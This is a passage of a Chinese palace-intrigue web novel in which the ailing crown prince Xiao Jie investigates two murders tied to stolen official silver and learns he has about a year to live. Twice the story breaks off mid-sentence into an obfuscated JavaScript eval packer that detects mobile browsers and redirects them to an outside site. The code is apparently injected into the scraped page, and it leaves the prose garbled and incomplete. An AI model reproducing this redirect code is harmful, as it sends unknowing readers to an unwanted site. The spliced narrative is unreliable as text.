他沉声道:“依我瞧,背后之人极其熟悉行宫事务。他在清心阁杀春玲儿,是一早就对她的行迹和职务了如指掌,这不是外人能做的事。他们宁要杀人也要阻拦我继续追查,只怕背后干系重大……” 突然,萧玠声音微微颤抖,“你说,他们会不会加害陛下?” 阿子忙道:“殿下安心,朝堂之事奴婢不清楚,但奴婢晓得,历朝历代谋逆的加起来也没有一个巴掌。这些大臣都拖家带口,哪敢动这样大逆不道的心思?奴婢该死,如果陛下有个万一,当是殿下承继,到时候不诛他们十族就是好的。这些高官个顶个的精明,岂会做此等糊涂事?” 萧玠气息渐渐平定,“是我失了分寸。” 门外有人传禀,阿子便出去交涉,再进来已是喜笑颜开,双手持一封书信,故意卖关子:“殿下猜猜,是谁的消息?” 萧玠隐约瞧见信封上字迹,心中一紧,“是小郑?” 阿子奉上书信,“千真万确!殿下日也望夜也望,消息总算到了。” 萧玠接信在手,信不厚,拆开一看不过薄薄两页。他舍不得一下子读完,便一个字一个字地看,看到最后终于长出口气笑起来:“苍天保佑,一切安好!前线打了几场胜仗,只是没料到他的消息比军报还快。” 阿子笑道:“听说小郑将军着人快马加鞭送的信,连驿马都要输一程呢。” 萧玠握紧信笺,心中却怦怦直跳。 郑绥说,他是跟冠军大将军郑素去崤北料理暴乱。家里渐暖了,却不知北边怎么样……雪化了吗,河水还上冻吗,他们日常盥洗有热水吗?上次偷偷跑回来,郑将军有没有责打他?若是挨了打,有没有好好服药?虽打了胜仗,又有没有受伤? 他收不到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16566357|186996||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 信心焦,如今书信在手,却没的心乱如麻。还是阿子提醒:“殿下要不要给小郑将军回信?” 萧玠忙道:“你帮我找纸笔,信笺要之前作的梨花笺,那个味道好闻。” 取了纸笔在手,写下“游骑将军郑绥”几个字,又觉得不妥,重拟作“小郑”。写了几笔复批掉取一张新的,落笔是“绥郎亲启”。 这几个字写下,萧玠突然有些发烧,梦中情形似乎又在眼前,郑绥气息和声音就在耳边,像指腹一样擦过脸颊,正低低唤他:殿下。 萧玠只觉浑身热得没气力,气都喘不顺,有一把火从小腹烧着。 很古怪,像生病。 萧玠匆匆将书页一掩,对阿子道:“我有些困,你先出去,帮我把门带上。” 房门一关,萧玠连鞋袜都来不及脱,便拉了被子蒙头卧倒。窗外一阵风紧,吹得枝叶簌簌急响,被底呼吸声逐渐加急,两页信纸也从他袍角滑落在地,湿皱得像团落叶。 被底蜷缩着,突然间,门被自外打开,有人叫着他走进来。 *** 我走进西暖阁的瞬间就听到萧玠的一声低叫。 我心中一惊,忙加快脚步上前,却见榻上被子蜷成一团,有人从被底问:“谁?” 声音有些哑,听着像哭过。 我忙道:“殿下,是臣,教坊司沈娑婆。” 半晌,方闻萧玠在被底说:“沈郎,你干什么?” 我有些奇怪,道:“何判官见殿下脸色不好,要臣送一些滋补的进贡,请殿下大人大量。他近日有所冲撞,殿下切莫怪罪。” 萧玠整个人裹在被子,好一会才出一声:“我知道了,我没有放在心上,我不太舒服,沈郎你……你自便吧。” 我应一声,视线落在地上,瞧见两张团皱的信笺。 我那时尚不知这是飞白雏形的书法,只晓得字迹好看,墨痕已被打湿,渐渐洇开。 那一句写道,臣绥谨问皇太子殿下玉体安健否。 我只觉掌中黏得厉害,突然想起那日芙蓉池中萧玠的情态,有些恍然。 皇帝的独子,当朝的储君,大梁国祚唯一的继承人。 恐怕是个龙阳。 萧玠像突然想起什么,猛地掀开被子,将那两页信纸夺在手里。 我瞧着他微汗的鬓角和通红的脸颊,不知怎么跑出一句:“小郑将军是向殿下回禀婚期吗?毕竟他是殿下的伴读,他的婚礼,殿下应当下降的。” 我眼看萧玠的脸色一瞬间由红转白。 他收拢五指,垂脸低声道:“我知道的。”接着,又几不可闻地轻轻重复道:“我知道的。” 何仙丘的话已带到,我也没有逗留的借口,就此施礼告辞。推门而出时萧玠已缓缓躺回榻上,面向墙壁,蜷缩起来抱住自己。 他似乎有些冷。 这念头从我脑中一闪而过,正如方才脱口而出的恶劣疑问。我逾了不该逾的矩。这一切都先于我的意识油然而生。 我本就是一个恶劣之人。 15. 第 15 章 阿子只觉萧玠今日有些不对。确切说,是在沈娑婆离去之后。 他踩着沈娑婆的脚步进门,见萧玠已更换了新衣,整张脸红得叫阿子误以为他是发热。阿子去收拾桌案,却没再见郑绥送来的那封信。 阿子正疑惑,便见他从脸盆里掬了把冷水,砰地一声泼到面上。声音太过响亮,简直像个水巴掌。 阿子心中一惊,萧玠已抬头瞧他,水流涔涔滑落,狼狈得像淋雨也像流泪。 萧玠道:“你去忙吧,衣裳我自己洗就成。” 关于洗衣这事,源头还在萧恒。除礼服之外,萧玠的日常衣物萧恒很少叫旁人劳动,基本是由自己和阿双来洗。等萧玠大些,病情也不太反复,这些活也就交到他自己手上。 只是这衣裳今日才上身,萧玠虽爱洁,却也不到半日就要清洗衣衫的程度。 萧玠的古怪状态一直持续到傍晚。在他做晚课前,尉迟松带来最新消息:凶犯已擒拿归案。 是以萧玠匆匆赶到时,已有一个乐工服色的年轻人五花大绑地押在地上。 理所应当地,像演练过一样。 萧玠心中没的惴惴,问何仙丘:“确定是他?” 何仙丘道:“禁中各位将军查出的人,他口供不对,而且身上还有抓伤。” 萧玠点点头,走上前问那人:“你叫什么?” 那人答:“奴婢卢小青。” 自称奴婢,没有阶品。 萧玠问:“你的职位是?” “奴婢刚进仪仗队,尚无供奉,现在打羯鼓。” “羯鼓手——那你和春玲儿是同僚。” “是。” “你为什么杀她?” 卢小青头颅低垂,“奴婢找她借钱,她不给,起了口角,奴婢一时失手……” 萧玠捏着腕上铜钱,看了他一会,又问:“你常找她借钱吗?” “也不是经常……隔三差五的。” “你为什么找她借钱?” 卢小青嗫嚅,“奴婢闲时……在安仁坊押了只鸡,平时花两个子,图个乐子。” 萧玠眉头渐渐皱起,“斗鸡,还押钱?” 卢小青慌忙伏地,“奴婢知罪,奴婢知罪,奴婢没图几个钱,只是平时不大痛快,去买个消遣罢了!” 萧玠语气没有半分放松,“卢郎,你这是博戏。陛下三年前就严禁民间赌博,你是全然没把圣命放到眼里!” 卢小青身伏于地,觳觫不止。萧玠气息渐渐平定,开口再问:“为什么是她?” 卢小青一愣,似乎没想到他这样问,抬头时正对上萧玠的目光。萧玠盯着他眼睛,继续问:“她很有钱吗?” “是、是,这小娘有不少私产,大伙都知道……” “但据我所知,春玲儿这个品级的俸禄虽不至于短缺,但也绝不丰厚。她从哪里来的这些钱?” 卢小青有些慌乱,“奴婢、奴婢不知道……” “噢,你将她的钱款打听得清楚,却没担心过她所得是否不正,自己又会不会掉进是非堆里。”萧玠又问,“那你是怎样向她要钱?” “奴婢就是直接向她讨要……” “我是说之前,第一次。”萧玠看着他,“是勒索,威胁,还是拿住她什么把柄?卢郎,你难道要本宫相信,她心甘情愿地将财物双手奉上?” 卢小青忙道:“奴婢就朝她索要过这一次,她不肯给,奴婢一时不慎……” 萧玠笑了笑,“你方才还说,‘隔三差五’地找她要钱。” 卢小青张口结舌,面白如纸。 萧玠缓缓道:“卢郎,你嘴里没有一句实话。你要晓得,我不是要你的命,说不定是要救你。你背后若有隐情,或者还有同谋,就此招供,可算戴罪立功。” 卢小青张了张嘴巴,眼珠滚动几圈,不由自主看向萧玠身后。 他在看谁? 萧玠紧忙随之看去,尚未从拥簇众人里找到对象,已听四周惊呼声起。他猝然转身,见卢小青猛然撞到一旁龙武卫的刀刃之上。 血溅当场。 萧玠无意识擦了擦脸,看着手指,突然有些眼晕。 血。 谁的血? 他又听见有人叫他,不自主抬头,面前,李寒正垂首冲他微笑。 萧玠知道他那颗头又要从脖子上掉下来了。 他心中默念,第一千一百一十一次。 …… “殿下,殿下?” 阿子冲上前掩住他的时候,萧玠才发现自己正浑身发抖。他的意识从多年前的腐烂气味里挣扎出来,睁开眼。卢小青仰面躺在地上,颈上开了个半大不小的口子。清心阁的粉墙上像刷了一道红漆,如果当场有镜子能照,萧玠会发现自己也被漆痕刷成半边红脸。他不知道卢小青倒地之时,腔中一股血箭穿过萧玠脸颊,准确无误地射在粉壁靶子一样的裂纹上。萧玠无动于衷,任由脸上鲜红淅淅沥沥,雨落池塘般,坠入卢小青身下积聚的血流。 萧玠没有喊人来救,脖子断掉半拉,华佗来了也得砸饭碗。他有预感,今天会出事,甚至是死人。自从再次踏入清心阁,他就嗅到一股奇异的气味,这是他的经验之谈,这味道和当年昆刀嘴里的腥臭味和苏合搽脸的香粉味一模一样。是糖浆放潮之后甜蜜却涩口的味道。阴谋的味道。 见他一动不动,阿子心中直鸣警钟。他想起初入东宫侍奉时,他的师父秋童叮嘱过一件极要紧的事。 当时,秋童领他穿过回廊,走向后院,阿子看到东宫□□居然摆放棺材一口,上头积灰一层。 不等他开口,秋童已语重心长道:殿下七岁那年,经历一件大事。自那之后,殿下有很长一段时间都要睡在这里。 秋童看了看棺材,有些不可思议。 师父秋童手掌放在棺面上,道:又过几年……嗐,所幸那时候小郑郎进了宫,日日夜夜守在身边。殿下不睡,他也熬,殿下要躺寿材,他先自己躺进去。这么日复一日,才生生把这习惯给磨过来了。 说到此,师父长叹口气:殿下前年睡觉身边还离不开人,要么是你双姑姑看着,要么就是小郑。陛下么……冤孽——以后殿下就寝,你先在殿里待上两刻,待他睡沉再出去。还有,殿下若是再受什么惊吓……你仔细夜间看紧他。殿下那一段,梦里会行走的。有一回双娘寻不着人,东宫六率都出动了,结果殿下自己走去甘露殿在陛下身边躺着;还有一回…… 师父说到这里闭上嘴,隐晦道:你也瞧见,院里那口井被堵了。 阿子半天说不出话。 从外头看,萧玠虽然孱弱优柔,却是个精神健康的人。但从师父描述里,他的一只脚已经踏在悬崖之外。阿子不知道他是凭靠什么意志才能单脚站立这么多年,也不知道什么打击会叫他不受控制地落下去。 阿子紧紧握住他衣袖,萧玠回过神,却以为他在害怕,反手握住他。 萧玠道:“继续封锁现场,在场所有人,由龙武卫就地关押问询。另外,卢小青的根底,明日之前报到我阁子里。” 他记得卢小青最后的眼神,他分明在看什么人。 背后的那只手伸到了现场,就算擒不住它,萧玠也必须断其一指。 *** 萧玠一声令下,卢小青案接续着春玲儿案,在行宫里紧锣密鼓地盘查起来。这跟皇太子的平日作风大相径庭。回去路上,连阿子都听人窃窃私语道,别看咱这位储君殿下吃斋念佛,长大了却未必心慈手软。 他抬脸去瞧萧玠,萧玠已擦净血迹,颊上却染开一团可疑的粉红。萧玠轻轻道:“只盼这事能尽早了了,了了,不知能不能赶去崤北犒军。” 阿子听出他竟生了亲自犒军的决心,斟酌道:“崤北苦寒,殿下若去只怕又要生病,不若等小郑将军凯旋相见,又不急于一时。” 萧玠道:“回来,他就要定亲了。” 阿子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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第一个音符破开琵琶的喉管喷溅而出后,应当立刻刺中了萧玠。我看到他剧烈颤抖一下,几乎是一瞬间,他的弦紧追我的弦抖擞起来,他的音和着我的音缠绕起来。我轮指像切断树枝他划拨像打翻漆盒,我们音乐的胶漆相遇融合然后水乳难离。我看向萧玠时他也在看我,月光下,我或许模糊一片,但他却纤毫毕现。我很难说他脸上的神情是动容还是冷静。他没有表情。 一曲毕,余音静静沉淀,像我们血液蒸腾的雾气。萧玠松开拨子,轻轻舒一口气,“沈郎弹北琵琶,竟知道南秦的调子。” 我笑道:“南音大多婉丽,独秦曲骨气刚烈,臣着意学过一段。” 萧玠亦笑道:“倒不见得全然刚烈。” 我应是:“是,就像臣与殿下初见,所和的那首曲子。” 萧玠和我四目相对,最后只是道:“一首童谣,哪里有什么骨气。” 他有心揭过,我便顺应不提,道:“臣听殿下的音有些涩,是不是弦松了?” 萧玠忙看面板,有些赧然,“我这些日没有心思,也没瞧它。” 我道:“臣僭越,不知能否一观?” 萧玠起身递给我,我接在手,从头到尾检查一遍,道:“没有大问题,臣先给殿下擦擦弦,过两天再来上油。” 萧玠忙道:“不必这样麻烦。” 我笑道:“纯粹是臣做这一行的毛病犯了,见着好器,难以释手。” 话至此,萧玠便没再推脱,我从怀中取出帕子,每根弦都仔细擦拭一遍,又重新试音,稳妥后交换给他。萧玠道过谢,又取了糕点请我吃,叫我觉得自己不像臣属倒像个客人。 我拿了块糕在手,珙璧形状,是合欢糕,心知他不认得,便问另一件事:“听闻殿下今日在清心阁受了冲撞?” 萧玠道:“无妨,卢小青虽死,却是受人指使的印证。顺藤摸瓜,总能找到真相。” 我沉吟片刻:“先是春玲儿,又是卢小青,这二人接连出事,不知背后是多深的浑水。臣只怕殿下卷入其中,鹤驾有危。” 萧玠笑了笑:“沈郎,皇宫是天底下最大泥潭,我生来就在潭子底。” 我看出他心意已决。 我叹息一声,起身一礼,“臣会再来给琵琶上油的。” 16. 第 16 章 果如沈娑婆所言,他第二日就来给萧玠的琵琶擦油。 对卢小青案,萧玠也没有收手。 一切进展并不顺利,清心阁那边进展甚微。萧玠听完汇报,问:“卢小青日常交际如何,他家里还有什么人?” 尉迟松道:“他是个一人吃饱全家不饿的。的确好赌钱,几年前赌得倾家荡产,教坊差点逐他出去。结果这几年赌运发了,顺风顺水,衣裳都换了绫罗,整日鸡鸭鱼肉,出手十分阔绰。” 萧玠蹙眉,“但在他自己陈述里,却是赌博财尽,向春玲儿索财不成怒极杀人。如此一来,岂非情理相悖?” 尉迟松道:“莫非是他行事浪荡,又将家财一赌为空?” 萧玠思索片刻,又问:“卢小青名下可有产业?” 尉迟松道:“臣等查了一夜,才盘查出他京郊的一套宅院。据其同僚所说,卢小青曾请他们去鸳鸯楼吃酒,声称自家产业,当夜全部免账。” “鸳鸯楼?京中第一的鸳鸯楼?” “正是。” 太不对了。 鸳鸯楼能有如此名头绝非因其日进斗金,而是高官云集,能在这里出入的,如何都是宦门子弟。如今萧恒虽废贱籍,但在世族眼中,卢小青此等出身绝对连提鞋都不够。 而且他若飞黄腾达至此,为什么还要在教坊供职? 萧玠陷入沉默。 卢小青绝对涉事非浅,那他家中大抵会有些线索,就怕在他死后,人去楼空。 而如今已过了一夜。 春寒一阵,萧玠打了个喷嚏,随即道:“将军要如何行动?” 尉迟松道:“臣已请大理寺协同查封鸳鸯楼,禀奏过殿下,臣便率人去查抄卢小青房产。” 萧玠颔首,“我与将军同去。” 尉迟松有些犹豫,“只是陛下明旨,殿下暂不得出。再添上抗旨罪名,恐怕朝中又要发动。” 萧玠面色一僵,“将军说的是,那我不去了。有了结果,请将军立刻告诉我。” 尉迟松没想到他轻易被说服,当即领命出宫。萧玠又打一个寒噤,这才反应自己没穿外袍便跑出来。他一回屋,阿子便呀地一声:“殿下怎穿的这样薄?” 他见萧玠脸色发红,上手一探,忙道:“这么烫?殿下赶紧卧一会,奴婢去请太医。” “不要紧,我吃个清寒丸。”萧玠瞧见案上琵琶,“沈郎来过了。” “是,沈郎带了专门养护的油,说宫中的东西虽金贵,却未必好用。收拾了半个多时辰才走呢。” 萧玠裹了大氅在身上,说:“那劳你煎服药,我发热常吃的那个方子就成。我先试试琵琶。” 阿子不太赞同,“奴婢还是去请太医……” “太医知道,就是陛下知道。”萧玠看向他,“阿子,陛下有更重要的事,我们不能叫他分心的,好吗?” 阿子轻轻应一声,将琵琶奉给他,自己去煎药。水咕嘟咕嘟渐渐沸腾,室内传来拨弦之声。弦刚养好,萧玠常习惯先上上手。 阿子听了一会,发现弦音渐渐疲软。药要出炉时,室内传来咣啷一声。 阿子赶忙进去,见萧玠缩在大氅底下,受冻般蜷成一团。 他这一段忧思太过,这场高热竟有点积劳成疾的架势,好在一服药下去便发了汗,人只是难受,也没有失去意识。如此混混沌沌睡了两日,萧玠病症好转,问的第一个就是:“那边有没有消息?” 阿子正加被子给他捂汗,“人昨日就来了,见殿下生病,没有搅扰。” 萧玠道:“我现在也好些了,请人过来吧。” 顿一顿,又道:“帮我找身厚实衣裳,我起身。” 阿子知道他绝不肯蓬头垢面示于人前,无法,只得为他更换衣裳。见阿子取出一件过年穿的大褂时,萧玠难掩惊异,“你还带了冬衣。” 阿子道:“没有,是殿下出宫后,陛下叫人送来的。” 萧玠低低咳了两声,没多讲话,将那件冬衣换上。是以尉迟松入内回禀时,看见的便是衣服鲜光簇拥下皇太子的灰色脸孔。皇太子坐在榻上,神情依旧是一副不像孩子的温和,“这几日略感小恙,白叫将军跑了一趟。” 尉迟松忙抱拳,“殿下玉体康健为上。” 萧玠指一指下方座位,“将军坐吧,不知那边是什么情形?” 尉迟松道:“臣率队查抄卢小青宅邸,发现了一座暗室。里头已被搬空,但搜到了一些遗漏的东西。” 尉迟松将一物奉到案边,萧玠瞧了一眼,又抓到手中仔仔细细看了一遍,“这是官府的封条?” “是,红纸蓝印,所封应是官银。” 萧玠脑中轰隆一响,“官银怎会在一介乐工宅子里?” 尉迟松道:“依臣所见,卢小青处应当是这批官银的转移处或窝藏点。兹事体大,臣已上奏陛下,报请刑部协同大理寺审查。是时朝廷当派人介入,殿下先保重玉体,安心养病。” 朝廷即将着手,萧玠一颗心却仍安放不下。 如此重大之事,绝非卢小青只手可成,背后之人到底是谁?他又为什么要杀春玲儿灭口?而春玲儿…… 一道闪电在萧玠脑中划过。 春玲儿死在自己着手盘查她之前,但自己盘查的压根不是官银,而是谁把手伸到了行宫里。 这个在行宫安插线人的人,和如今转扣官银之人,到底是什么关系? 阿子看萧玠一动不动,正要捧药叫他喝。猝然之间,萧玠捉住他手腕急声叫道:“四品以上的命妇名册,我前几日要的,有没有找到?” 阿子忙道:“昨儿送来了,您别急,奴婢这就去拿。” 册子一经奉上就被萧玠抓在手中,他迅速翻看几页,突然在一页定住。阿子听到纸页哗啦哗啦作响,声音像病树枝头枯叶抖擞。萧玠低头使劲地瞧,有些茫然地抬头,像要说话,却有什么东西先于话语出口,把满册封号喷红。 *** 萧玠感受到雨水,如同机杼间的丝线,密密麻麻打在他身上,他身体发出树枝树叶沙沙震颤的声音。不远处一群人站在雨中,雨打蓑衣声后,有人开口,像个中年男人:“真的要拔?” 萧玠隐约看见他的形容,长须方脸,四十岁上下,穿一身缝绣鸟雀的宽袍,是官袍。田埂头的大雨里居然站着个穿官袍的男人,而听他的语气,像在征求什么人的同意。 对方说:“拔。” 像个青年人,或者少年,很年轻,但很威严。 他的声音有些耳熟。 那男人道:“可庄稼才抽了穗……潮州已经两年没种出过粮食了!” 青年说:“等稻子熟了,这些人的尸骨已经烂了一个月。使君,树根已经刨尽,孰轻孰重。” 一世界只剩下大作雨声。 男人似乎挥了挥袖,身后壮丁数十,却没有一个人动。终于,那青年迈开步子,率先冲萧玠的方向走来。萧玠发现,他穿的是一双被雨水沤烂的草鞋。 他在萧玠面前蹲下,气息没有任何起伏。一个闪电打落,萧玠看清了他毫无血色的脸。 下一刻,年轻人面无表情地,一手掐住萧玠脖颈,一手从腰间抽出—— 一把镰刀。 …… 萧玠浑身一抖,听有人哭叫道:“醒了,殿下醒了!” 他睁眼,见阿子跪在榻边泪流满面,太医正将金针从他眉间旋出,面色却十分凝重。 萧玠试图开口,发觉已经哑了嗓子:“太医,我怎么了?” 太医声音有些异样:“殿下奉皇四年遭逢虎祸之后,臣曾经为殿下诊脉,做过断言。” 萧玠隐隐觉得不好,说:“是,陛下瞒我,但我还是听说了。太医断我……寿限在及冠之年。” 此话一出,太医神色更加古怪。萧玠按理推断,他本该讲一些宽慰安抚之语,但太医却往后膝行两步伏身于地,连声音都颤抖不已:“臣万死,或许是臣医术不精,但臣为殿下把脉……已见油尽灯枯之象!” 许久,萧玠才张开嘴,疑问道:“油尽灯枯,我吗?” 太医头埋在臂间,不敢应声。 萧玠问:“我连二十岁都活不到吗?” 太医声音有些扭曲,“只怕……只有一年之限了。” 一道无声的霹雳炸响。 一年。 萧玠坐了一会,脑中有些空,“可是……可是我只生了这一场病,退热也很快,我平日也在吃药……我只是一时心急,觉得胸口有些堵,我的身体没有坏到这个地步……不信你问问尉迟将军,我刚刚还同他说话呢。” 阿子听不下去,跪着去拉太医手臂,哭泣道:“太医,您是不是看错了,殿下发热之前没起什么症候,清 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“我不知道,我不知道有这么严重……我只是很想他们……”萧玠哽咽道,“我不是故意隐瞒的,但我能分得清真假,没有像之前那样陷进去过。太医,你再瞧瞧我,好不好?我、我才十五岁,我还没见到他,我八年没见过他了……我不想死,我不能这么早死啊……” 太医叩头道:“臣定当竭尽全力,臣先给殿下开新的方子,殿下一定要按时服用,切记不要费心劳神。殿下青春正好,有什么是看不开的呢?” 萧玠木然点头,连太医何时走的都不知道。阿子瞧不了他这样子,从他面前蹲下,只是哭。 “阿子。”萧玠颤声道,“阿子……我要见阿爹,你帮我去找阿爹好不好?你跟他说,我有很要紧很要紧的事告诉他,我、我……” 阿子握紧他双手,“殿下别急,奴婢这就去找陛下,陛下一定能给殿下看好病,殿下放宽心。” 阿子刚要去找人,便听门叩了两叩,竟是秋童在外问:“奴婢拜见殿下。” 秋童深夜来见他,难道是宫里出了什么事? 萧玠的慌乱之情顿时一收,胡乱擦了把脸,嘱咐阿子:“请秋翁进来……这件事先不要声张。” 秋童跨进门槛的一刻大惊失色,忙跑到他面前,“殿下这是怎么了,怎么哭成这个样子?” 萧玠搪塞:“刚刚做了个梦。” 这言外之意便指向秦灼。秋童不再追问,只抚他后心。这一会,萧玠已然整理好情绪,问:“秋翁夤夜而来,是陛下有事交待?” 秋童道:“陛下要交给殿下一件东西。” 萧玠本以为又是吃食日用之物,却见秋童奉上一只锦盒,打开一看,吓得他几乎脱手。 一块金铁。 半枚虎符。 萧玠道:“这是何意?” 秋童道:“贪墨案事关重大,陛下准备巡幸亲鞫。不日即要离宫,特将此物托付殿下,要殿下万勿推辞。陛下说,此物在殿下身边,他才安心。” 萧玠忙道:“尉迟将军是陛下腹心,交托给他……” 对上秋童双眼时,他明白了。 萧恒的安心,不在于虎符的安全,而在萧玠的安全。 这的确是交托太子的重任,同时,也是给予萧玠的护身符。 萧玠抚摸那块冰冷的金石,情绪奇异地平静下来。 萧恒要亲自查访,所涉一定万分严重。如果这时候告诉他自己的病情,他决计不会离京,这恰恰如了世族的意。只要萧恒不去,以他们手眼通天的本事,难保不会有别的发动。 自己的事,不能让萧恒知道,至少不能在这个节骨眼上。 萧玠合上匣子,道:“请秋翁转告陛下,我定不辱命。” 等送走秋童,阿子才急忙道:“殿下,您怎么不说呀!” 萧玠揾面,沉声道:“你立刻去追太医,勒止他将我的病情禀报陛下。说国家根基大事正在关头,叫他摸摸脑袋,想想清楚!” *** 御驾启程在两日之后。 那个清晨,萧恒再次来到行宫。 他没惊动任何人,只轻轻推开殿门。萧玠正背身躺在榻上,还在熟睡。 萧恒将他堆放的榻脚的几件衫子叠好,又把萧玠手臂轻轻放进被子里,便抚摸萧玠脸颊。这么坐了一会,方合门离去,来去匆匆,像一个梦。 门扇合拢的轻微声响里,泪水从萧玠眼角滑落。他抱紧自己手臂,蜷缩起来,用被子蒙住了头。 17. 第 17 章 萧玠把自己关了整整三天。 三天后,他打开房门,坐在门槛上的阿子应声抬头,眼前,是萧玠浮肿的脸庞和红肿的双眼。 萧玠笑了笑:“劳你帮我梳洗一下吧,我实在没有力气了。” 阿子连忙答应,扶他去屋里坐下。窗下铜镜蒙一层淡尘,不等阿子拿帕子,萧玠已经抬起手掌,从镜中擦出一张自己苍白的脸。 他瞧着镜子,突然道:“太医说,还有一年。” 阿子拾起梳子给他梳头,心中难受,正要劝慰,萧玠已经打断:“太医说话有宽限,那其实只有不到一年。我不一定能挨到明年春天。” 阿子垂泪道:“殿下别讲这样的丧气话,太医的话且听着,殿下洪福齐天。” 萧玠没有接话,打开镜边奁盒,里头是厚厚一摞信封:“等陛下回来,我会和他再闹一场,说要回南秦去。如果他到时候没回来……你就说我闹脾气,自己走了。我大概今年年底离开,从明年开始,你每两个月给陛下送一次信件,说是我从南秦寄给他的。日子我都标好了,这些刚够两年,等我把剩下的写好,再一块交给你。” 阿子顺他的动作看去,在匣顶阴影和阳光交界之处,他看到信封上冰冰冷冷的几个字,梁皇帝陛下亲启。萧玠甚至在仿效冷战后应有的语气。 “临走前,我会把虎符交给尉迟将军,到时候召集几位重臣,作个见证。”萧玠说着,从镜中瞧见他神色,笑道,“别等我事情都嘱咐完,你连头都没帮我梳好。” 阿子答应一声,忙帮他插簪束发。等打理好,萧玠又道:“帮我请老师来一趟,帮我看住门,任何人不许进来。” 他如今尚有精神,平日又多病容,是以夏秋声见他并没有察觉十分明显的异样。萧玠迎他进屋,手依旧有些凉,待他坐下后,开门见山道:“行宫中春玲儿卢小青两桩命案,老师想必已有耳闻。” 夏秋声道:“臣正要讲这件事。行宫已多生事端,殿下身为国本,不宜只身险境。臣这两天已经拟好折子,准备奏请陛下迎殿下回宫。” 萧玠道:“老师,卢小青住处发现了存贮官银的痕迹,那他背后很可能是贪墨,甚至谋逆。” 夏秋声神色也十分肃穆,“此案已提交刑部,由大理寺协同审理。殿下安心。” “我没法安心。”萧玠看向他,“卢小青案导向官银,却把他和春玲儿的相关掩盖掉。老师,你以为他为什么要杀春玲儿?是我察觉行宫中有朝廷的爪牙,我在查这件事,我查到了春玲儿头上。我在她那里拿到了那支钗子,当日她便被卢小青杀死在清心阁里。卢小青干系官银,若非不得已绝不会妄动,那说明春玲儿相关,是比官银偷窃更可怕的事。” 萧玠从袖中取出钗子,灯火下,钗头点翠如活鸟的羽毛。他轻轻道:“受到老师提点,我叫人去打听了命妇名单,也询问了点翠的事。宫中的记录,点翠技艺在灵帝朝兴起,但当时只作后宫之用,到了肃帝朝才投入到命妇衣饰的规制当中。怀帝登基后,点翠成为她一人专用,至陛下登基,禁止国朝再作点翠技艺。这支钗子是三羽两珠的花钗,而灵帝后宫最低的规格也是四羽;怀帝所用奢靡,更不是她所取用。那这支钗子的主人,只能是肃帝朝四品以上的命妇。” 萧玠手指微微颤抖,“老师,肃帝所封四品以上的诰命只有三人,其中两位都是追封,当时觐见受封的,只有河阳郡夫人。” 夏雁浦的发妻,夏秋声的生母,河阳郡夫人柳氏。 夏秋声看看那支钗子,已然分辨不出母亲妆奁之中有否此物。他深吸一口气,“殿下……怀疑背后是臣指使。” 萧玠脸上产生一道裂痕,他轻轻说:“我没有。” 夏秋声看向他。 萧玠道:“老师待我之心天地可鉴,我不是瞎了眼,我没有怀疑过老师。我只是很害怕,我不知道里面到底出了什么事。我既怕他们会危害陛下,又怕他们要把你搅进去。刑部已经介入了,我希望他们能查明真相,但如果这个真相牵扯到你,怎么办?” 在萧玠颤抖前夏秋声握住他的手。 他叹口气,对萧玠说:“臣教给过殿下,清者自清。” 萧玠靠与他相握的力气站立,低声道:“这是书本上的东西,但老师,我见过太多清者不清的事。当年……文正公要推立新法,受世家百般阻拦。如果清者自清,裴兰桥焉需以血证道,他又岂会当街惨死?他们哪个不是朝廷重臣、一人之下,竟因为人言落得如此下场……我已经送了他一次,我还能再送你一次吗?” 萧玠声音有些哑,却没有流泪:“我知道做我的老师,让您两头为难,我也知道老师为了我不惧一死。今日我把这件事告诉您,不是要一个解释,我想请老师今后……不要一颗心放在我身上,多为自己考虑。您在世族跟前别太偏帮我了,有害,无益而已。” 夏秋声骤然心中惶惶。 萧玠素日知礼懂事,可如今这番话已是泣血之言。若是平时,何至于此? 他连忙搀住萧玠,“殿下,你告诉臣,是不是出了什么事?” 萧玠已无摇摇欲坠之态,抬首时已面带笑意,紧紧回握他,“老师瞧,我虽说禁足,但想见您却没人阻止。您应该也听说了,虎符已经交到我手上。陛下宽待我,能有什么事?” 他神情太过坦然,夏秋声虽然担忧,却也没有确凿的证据。二人话毕,萧玠起身相送直至门口,夏秋声行时回首,见春夜沉沉,冷月如钩,萧玠素衣大氅立在门前,与平素并无不同。 待夏秋声走远,萧玠才咳嗽出声,向快步迎上来的阿子笑笑,“太医到了吗?哦,既到了,便请他到阁中来吧。” *** 太医再见萧玠时有些诧异。 短短三天,萧玠已经平和得像一个另一个人,似乎是面对无关于己的病情,做出无关于己的回应。太医给他把脉时,只觉他不是在看自己的手腕,而是一截砍断的树根。 萧玠问:“如何?” 太医尚在斟酌言辞,便听萧玠笑道:“我晓得了。听说我的病情您的确没有上奏,这件事,您做得很好。我还有一个请求。” “太医既瞒了一时,我想请您帮我再瞒一世。” 太医大惊失色,连连道:“殿下玉体关乎国本,隐瞒何止欺君大罪,即为天下人之罪人。干系重大,臣只怕……” “太子关乎国本,陛下则是千秋之业。太医,陛下的身体也是由你看顾。他如今在外奔波劳累,以他如今的身体,一年之内受不受得住这个打击,我相信你比我更清楚。你放心,这件事我并非欺君,我想等御驾回銮之后,找一个合适的时机亲口告诉陛下。陛下虽然性情温厚,但若由你禀报,说我命不久矣,他有没有可能在急痛急怒之下,将你当场处死?” 太医心中咯噔一下。 皇帝有多看重太子天下皆知,未必不会如此行事。 萧玠徐徐道:“至于我死后国本是否无继,这件事我会跟陛下商讨,这是我为人臣的职分,也是我为人子的本分。太医,这不是外人可以僭越的事。” 太医久久不语,萧玠也不着急,瞧着他的眼睛,目光温温润润,“你记得,这不是我有事相求,而是东宫的令旨。如果我发现你言行不一……” 他轻声道:“太子六率,会帮我解决一些麻烦事。” 以命要挟! 